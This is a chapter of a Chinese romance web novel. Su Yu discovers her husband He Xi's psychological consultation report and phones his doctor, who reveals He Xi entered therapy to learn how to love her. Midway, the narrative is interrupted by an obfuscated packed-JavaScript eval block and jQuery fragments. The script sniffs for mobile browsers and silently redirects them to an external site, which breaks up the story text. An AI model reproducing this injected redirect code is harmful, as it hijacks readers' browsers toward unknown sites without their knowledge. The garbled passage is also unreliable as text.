28. 第 28 章

作品:《和他离婚后

    她问他以前有没有喜欢她。


    可其实现在也没有听他说喜欢。


    苏愉问出来时还很紧张,但正巧贺玺手机响了起来,震得苏愉吓一跳,她赶紧从他背上下来。


    “你先接电话吧。”


    贺玺这两天电话好像特别多,有时候接电话的时候会避着她,苏愉虽然很好奇,但没有问过。


    她跑去吃蛋糕。


    贺玺买的是巧克力慕斯,巧克力的香味很浓郁,夹着香脆的坚果颗粒,苏愉吃了一口,惊艳得眼睛亮了亮。


    和他们那里的味道不太一样。


    苏愉边吃边回头往窗边看。


    贺玺站在那里,压着声音和那边的人对话,更多是电话那边的人在说,他只是偶尔地应一声。


    苏愉确定了贺玺就是那个背她回家的人。


    但他不肯承认。


    再往前的记忆她搜寻不到。


    只恨自己从小到大事都不往脑子里去,以至于什么都不记得。


    苏愉给金金发消息,问她有没有记忆。


    金金:【你是在逗我。】


    她自己都不记得的事她怎么可能知道。


    她又没在她身上装监控。


    过了会儿,金金又发:【但我刚知道件事。】


    苏愉:【什么事?】


    金金:【今天在门诊碰到个医生,帮他捡资料的时候我好像看到了你们家贺玺的名字。】


    苏愉:【什么医生?】


    苏愉本来还在想,贺玺身上那么多伤,需要去医院看病也在情理之中。


    金金下一秒发过来:【心理医生。】


    苏愉愣住。


    她看着屏幕上的这几个字,像被人当头一棒打蒙了。


    她手僵硬地打出几个字,很快又删掉,心尖密密麻麻的刺痛感传来,苏愉感觉到一种前所未有的不安。


    她想了想,给金金发:【你现在有时间吗?帮我回家里找个东西。】


    苏愉把家里密码发给她。


    金金:【OK,我下班过去。】


    .


    外面下雪了。


    苏愉本来打算这两天离开,再去一趟长白山,就启程回家。


    没想到离开之前还能见到下雪。


    细碎的雪像撒盐一样簌簌落下,和天边的灰白色融为一体,苏愉站在落地窗前,看着路灯折射下的雪花,被风吹得斜斜飘散,这让她有种身处童话世界的感觉。


    外面风雪交加时,窝在暖和的房间里看外面的风雪,这给人一种极强的安全感。


    苏愉喜欢这一时刻的感受。


    可现在她却没有太多的心情来体会这种感受,她心里的不安和无措在持续地翻滚着,捏着手机,等金金给她发消息过来。


    已经下午五点了,金金下班了。


    她按照苏愉说的到了她家,从柜子里找到一份病历。


    苏愉并不确定柜子里能不能找到她想要的,她只知道贺玺的东西都放在那里。


    金金给她拍照发了过来。


    更准确来说是心理咨询的报告。


    其中简单了描述了贺玺的几次咨询过程,言语寥寥,苏愉看到最后,医生考虑,这是一种依恋型障碍,需要进行心理治疗和行为干预。


    依恋型……障碍?


    苏愉在网上搜索这个她不熟悉的名词,她慢慢地舒口气,看到上面解释说,这是一种由儿童时期的极端负性事件而导致对亲密关系的回避,退缩,情感冷漠,甚至产生躯体化的焦虑。


    苏愉反反复复的看着这些信息,她胸腔已经被一颗大石头压住,从这一刻开始,呼吸变得困难起来。


    贺玺正在收拾东西。


    东西越来越多,原本的行李箱已经不够用,所以他把一部分的行李收拾出来,准备先用快递寄回家,接下来的的几段行程,能轻松很多。


    贺玺从烘干机拿出衣服,大半都是苏愉的,他帮她整理好,大部分她穿过一遍不想再穿的就放进快递箱里。


    还有很多苏愉逛街买的特产,小玩意儿,不好保存的,寄回去也得要有人及时能收,部分寄给了苏愉的好朋友,部分寄回了她父母家。


    贺玺又嘱咐苏愉,自己记得再看看,不要落东西。


    苏愉机械地答应。


    在家里的时候,贺玺就是这样,他总是默默地做着所有事,不管她是犯懒,耍脾气,还是无来由地不理人,她单方面地向他传递情绪,他却从来没有向她宣泄过半点,总是沉默地照顾和包容她。


    所以她认为他沉闷,无趣。


    想和他离婚。


    她对他说离婚的时候,他没有解释过一句,苏愉提了离婚,他就答应。


    而苏愉已经回忆不起她提离婚的时候他是什么反应,当时她不在意,于是想当然的认为他也不在意。


    苏愉此时在想,她所理解的那些无趣,是不是只是他在克制自己不好的情绪,在面对她的时候,他尽全力保持了自己最好的状态,却被她觉得他这样一点都不好。


    仔细想想,这两年,贺玺怎么会是不好呢?


    苏愉在这一时刻猛然窥见了真相的一角,她隐隐觉得压在冰山之下的还有更多她不曾了解到的。


    晚上睡觉前,苏愉在最后收拾自己的东西,突然她又坐下,拿出手机翻看金金给她拍来的那几张照片。


    上面有就诊医生的联系方式。


    苏愉想了很久,她心里那块大石头还压在心口的位置,压得严严实实,让她心脏的跳动也受到了阻碍,甚至于让她感觉到呼吸困难。


    再三考量之下,她还是试着拨通了这个电话。


    她已经想到了自己打这个电话可能不会有什么用,毕竟像这种有关个人隐私的事医生都会严格保密,哪怕是家属也不会透露,可苏愉还是忍不住想打这个电话。


    她一点也不了解贺玺,但她想了解他,她没有其它办法,就只能这么做了。


    电话接通,苏愉忐忑地开口:“你好,请问是胡医生吗?”


    那边应了一声:“我是。”


    “有什么事吗?”


    苏愉深吸一口气:“您还记得贺玺吗?”


    她顿了顿:“我是他的家属。”


    年轻女人的声音,隔着电话听起来很温柔,语气礼貌,小心翼翼,和他形容的很像。


    胡医生沉默了两秒,反问道:“你是贺玺的妻子?”


    苏愉“嗯”了一声。


    “我知道。”胡医生说:“我一直在等你来电话。”


    苏愉怔住。


    近几天他联系了贺玺,让他来复诊,上次他来他这里时状态很差,他认为他需要继续进行心理治疗。


    但贺玺说他现在在外面,于是他只能对他进行了两次线上治疗。


    贺玺的情况比之前好很多,甚至比两年前刚结婚那时候还要好,通过他对这段时间发生事情的描述,胡医生猜测,他嘴里所说的那个人,迟早会联系他。


    果然,电话打来了。


    苏愉迟疑地问:“您认识我?”


    胡医生说:“不认识。”


    “贺玺和我提过你。”


    苏愉手不由自主捏紧了手机。


    “他第一次来我这里进行治疗,就是因为你。”


    胡医生顿了顿,他平静的声音像从空旷的幽谷传来,平缓却震动人心:“他说他想学会怎么去爱你。”


    学会爱她?


    从不知情的苏愉心狠狠一跳。


    如果说贺玺是活在深渊里的人,那苏愉就是连接深渊和平地的那座桥梁。


    唯一的一座桥梁。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454710|168349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    胡医生到现在还记得他第一次来咨询时说的话,他说他想抓住这仅有的一点机会。


    “不知道你是不是知道他以前的事?”胡医生慎重地询问她。


    苏愉声音闷闷的,也在这对话中被拉下了深渊:“我不知道。”


    她怎么会知道呢,她以前从来没想过要了解他,她没心没肺,从来不关心他,所以怎么可能知道。


    苏愉问:“什么事?”


    他的过去三十余年,发生过什么不是一两句话就能说清楚的。


    胡医生继续说:“和我接诊过的很多心理患者一样,他们性格的底色来自童年各种不幸的遭遇,或孤僻或叛逆,无法像正常人一样生活,在这类人群中,贺玺的症状并不严重。”


    他是个很强大的人。


    在经历了摸爬打滚的童年,无数次从殴打中捡回性命,成为孤儿后也顽强的生长,这些没有让他后来陷入糟糕的境地,或者说反而让他冷静,沉默寡言,踩着自己的鲜血一步步走往光明。


    普通人的人生从来没有奇迹,只能靠自己的双手。


    贺玺这样的人,主动寻求心理援助,没有其它原因——只是因为他想和一个人结婚。


    他性格不好,不值得人喜欢,也不觉得会有人愿意喜欢他,他不想这样的自己让苏愉感到害怕,于是想改变自己。


    胡医生说,贺玺的原话是,他希望待在苏愉身边,起码,留她久一点。


    “我给他制定的治疗方案,疗效显微,后来我发现……他的状态,和你息息相关。”


    苏愉是他来治疗的因,也是让他治愈的果。


    苏愉听到这里眼睛已经红了。


    她轻轻地吸了吸鼻子,喉咙哽咽。


    一些她从来没听过的话,她从来不知道的事,像一道轰雷猝不及防砸进了她的心里,她低着头,胸口开始疼了。


    过往的细节像蚂蚁一样密密麻麻啃咬了上来。


    刚结婚的时候,她有点怕他,当时她还和金金吐槽,说他长得凶,也不爱说话,像一块冷冰冰的金属,又冷又硬。


    苏愉这样什么情绪都写在脸上的人,贺玺明显能看出她的惧怕和抗拒。


    他什么都没说,只是自然平淡地在日常相处中保持距离,给她空间,建立她的信任感和安全感。


    他看似冷淡,却实际处处照顾了她的心情。


    而她这个坏蛋,对他说“离婚”。


    他在努力地治病,她却一意孤行地,愚蠢地,要把他往深渊里推。


    苏愉啊苏愉,你怎么可以这么过分啊。


    你太坏了。


    苏愉擦了擦眼泪,她深吸一口气,低声问:“那我能做什么吗?”


    她想做点什么,她想帮上他,作为他的妻子,她从来没有帮上过他任何忙。


    胡医生已经察觉到苏愉现在的情绪,她虽然在克制,但哽咽的语气已经从听筒那边传了过来。


    虽然考虑到人不应该一时间接收太多的信息,可身为贺玺的医生,他更希望看到他好。


    “你要做的很简单。”


    胡医生顿了顿,说了两个字——


    “了解。”


    心急吃不了热豆腐,治疗也是,作为心理医生只能倾听别人的人生,给出建议,但他无法干预他们的人生。


    要治疗就要先了解,了解和支持。


    苏愉认真地听着,她在听筒这边点头。


    她知道了。


    苏愉不知道还能说什么,她只能对着电话那边,很感激地说:“谢谢您。”


    但如果说了解,她不知道从哪里开始。


    童年吗?


    贺玺的童年好像离她很远,但又似乎很近,电话已经挂掉,苏愉还保持着拿电话的手势,突然她想到什么,起身就冲了出去。